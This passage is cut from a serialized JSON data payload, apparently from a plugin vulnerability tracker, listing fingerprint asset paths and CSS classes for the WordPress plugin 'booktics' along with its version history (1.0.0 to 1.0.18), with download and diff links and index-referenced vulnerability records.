patched)",5,"2026-03-16T19:31:17.464Z",{"wat":454,"direct":464},{"assetPaths":455,"generatorPatterns":461,"scriptPaths":462,"versionParams":463},[456,457,458,459,460],"\u002Fwp-content\u002Fplugins\u002Fbooktics\u002Fassets\u002Fcss\u002Fbooktics-frontend.css","\u002Fwp-content\u002Fplugins\u002Fbooktics\u002Fassets\u002Fcss\u002Fbooktics-vendor.css","\u002Fwp-content\u002Fplugins\u002Fbooktics\u002Fassets\u002Fjs\u002Fbooktics-packages.js","\u002Fwp-content\u002Fplugins\u002Fbooktics\u002Fassets\u002Fjs\u002Fbooktics-frontend-scripts.js","\u002Fwp-content\u002Fplugins\u002Fbooktics\u002Fassets\u002Fjs\u002Fbooktics-flatpickr-scripts.js",[],[],[],{"cssClasses":465,"htmlComments":471,"htmlAttributes":472,"restEndpoints":474,"jsGlobals":475,"shortcodeOutput":476},[466,467,468,469,470],"booktics-login-required","booktics-login-btn","booktics-booking-form","booktics-category-form","booktics-customer-dashboard",[],[473],"data-user-id",[],[],[477,478,479,480,481],"\u003Cdiv id=\"booktics-booking-form\">\u003C\u002Fdiv>","\u003Cdiv id=\"booktics-category-form\">\u003C\u002Fdiv>","\u003Cdiv class=\"booktics-login-required\">\u003Ch3>Customer Portal Access\u003C\u002Fh3>\u003Cp>Please login to access your booking history.\u003C\u002Fp>\u003Ca href=\"","\" class=\"booktics-login-btn\">Login\u003C\u002Fa>\u003C\u002Fdiv>","\u003Cdiv id=\"booktics-customer-dashboard\" ",{"error":483,"url":484,"statusCode":485,"statusMessage":486,"message":486},true,"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fbooktics\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":228,"versions":488},[489,494,500,510,520,530,540,550,560,570,580,590,600,610,620,630,640,650,660],{"version":6,"download_url":26,"svn_tag_url":490,"released_at":39,"has_diff":60,"diff_files_changed":491,"diff_lines":39,"trac_diff_url":492,"vulnerabilities":493,"is_current":483},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.18\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.17&new_path=%2Fbooktics%2Ftags%2F1.0.18",[],{"version":41,"download_url":495,"svn_tag_url":496,"released_at":39,"has_diff":60,"diff_files_changed":497,"diff_lines":39,"trac_diff_url":498,"vulnerabilities":499,"is_current":60},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.17.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.17\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.16&new_path=%2Fbooktics%2Ftags%2F1.0.17",[],{"version":501,"download_url":502,"svn_tag_url":503,"released_at":39,"has_diff":60,"diff_files_changed":504,"diff_lines":39,"trac_diff_url":505,"vulnerabilities":506,"is_current":60},"1.0.16","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.16.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.16\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.15&new_path=%2Fbooktics%2Ftags%2F1.0.16",[507,508,509],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":511,"download_url":512,"svn_tag_url":513,"released_at":39,"has_diff":60,"diff_files_changed":514,"diff_lines":39,"trac_diff_url":515,"vulnerabilities":516,"is_current":60},"1.0.15","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.15.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.15\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.14&new_path=%2Fbooktics%2Ftags%2F1.0.15",[517,518,519],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":521,"download_url":522,"svn_tag_url":523,"released_at":39,"has_diff":60,"diff_files_changed":524,"diff_lines":39,"trac_diff_url":525,"vulnerabilities":526,"is_current":60},"1.0.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.14.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.14\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.13&new_path=%2Fbooktics%2Ftags%2F1.0.14",[527,528,529],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":531,"download_url":532,"svn_tag_url":533,"released_at":39,"has_diff":60,"diff_files_changed":534,"diff_lines":39,"trac_diff_url":535,"vulnerabilities":536,"is_current":60},"1.0.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.13.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.13\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.12&new_path=%2Fbooktics%2Ftags%2F1.0.13",[537,538,539],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":541,"download_url":542,"svn_tag_url":543,"released_at":39,"has_diff":60,"diff_files_changed":544,"diff_lines":39,"trac_diff_url":545,"vulnerabilities":546,"is_current":60},"1.0.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.12.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.12\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.11&new_path=%2Fbooktics%2Ftags%2F1.0.12",[547,548,549],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":551,"download_url":552,"svn_tag_url":553,"released_at":39,"has_diff":60,"diff_files_changed":554,"diff_lines":39,"trac_diff_url":555,"vulnerabilities":556,"is_current":60},"1.0.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.11.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.11\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.10&new_path=%2Fbooktics%2Ftags%2F1.0.11",[557,558,559],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":561,"download_url":562,"svn_tag_url":563,"released_at":39,"has_diff":60,"diff_files_changed":564,"diff_lines":39,"trac_diff_url":565,"vulnerabilities":566,"is_current":60},"1.0.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.10.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.10\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.9&new_path=%2Fbooktics%2Ftags%2F1.0.10",[567,568,569],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":571,"download_url":572,"svn_tag_url":573,"released_at":39,"has_diff":60,"diff_files_changed":574,"diff_lines":39,"trac_diff_url":575,"vulnerabilities":576,"is_current":60},"1.0.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.8&new_path=%2Fbooktics%2Ftags%2F1.0.9",[577,578,579],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":581,"download_url":582,"svn_tag_url":583,"released_at":39,"has_diff":60,"diff_files_changed":584,"diff_lines":39,"trac_diff_url":585,"vulnerabilities":586,"is_current":60},"1.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.7&new_path=%2Fbooktics%2Ftags%2F1.0.8",[587,588,589],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":591,"download_url":592,"svn_tag_url":593,"released_at":39,"has_diff":60,"diff_files_changed":594,"diff_lines":39,"trac_diff_url":595,"vulnerabilities":596,"is_current":60},"1.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.6&new_path=%2Fbooktics%2Ftags%2F1.0.7",[597,598,599],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":601,"download_url":602,"svn_tag_url":603,"released_at":39,"has_diff":60,"diff_files_changed":604,"diff_lines":39,"trac_diff_url":605,"vulnerabilities":606,"is_current":60},"1.0.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.5&new_path=%2Fbooktics%2Ftags%2F1.0.6",[607,608,609],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":611,"download_url":612,"svn_tag_url":613,"released_at":39,"has_diff":60,"diff_files_changed":614,"diff_lines":39,"trac_diff_url":615,"vulnerabilities":616,"is_current":60},"1.0.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.4&new_path=%2Fbooktics%2Ftags%2F1.0.5",[617,618,619],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":621,"download_url":622,"svn_tag_url":623,"released_at":39,"has_diff":60,"diff_files_changed":624,"diff_lines":39,"trac_diff_url":625,"vulnerabilities":626,"is_current":60},"1.0.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.3&new_path=%2Fbooktics%2Ftags%2F1.0.4",[627,628,629],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":631,"download_url":632,"svn_tag_url":633,"released_at":39,"has_diff":60,"diff_files_changed":634,"diff_lines":39,"trac_diff_url":635,"vulnerabilities":636,"is_current":60},"1.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.2&new_path=%2Fbooktics%2Ftags%2F1.0.3",[637,638,639],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":641,"download_url":642,"svn_tag_url":643,"released_at":39,"has_diff":60,"diff_files_changed":644,"diff_lines":39,"trac_diff_url":645,"vulnerabilities":646,"is_current":60},"1.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.1&new_path=%2Fbooktics%2Ftags%2F1.0.2",[647,648,649],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":651,"download_url":652,"svn_tag_url":653,"released_at":39,"has_diff":60,"diff_files_changed":654,"diff_lines":39,"trac_diff_url":655,"vulnerabilities":656,"is_current":60},"1.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fbooktics%2Ftags%2F1.0.0&new_path=%2Fbooktics%2Ftags%2F1.0.1",[657,658,659],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41},{"version":661,"download_url":662,"svn_tag_url":663,"released_at":39,"has_diff":60,"diff_files_changed":664,"diff_lines":39,"trac_diff_url":39,"vulnerabilities":665,"is_current":60},"1.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooktics.1.0.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fbooktics\u002Ftags\u002F1.0.0\u002F",[],[666,667,668],{"id":70,"url_slug":71,"title":72,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":83,"url_slug":84,"title":85,"severity":42,"cvss_score":43,"vuln_type":87,"patched_in_version":41}]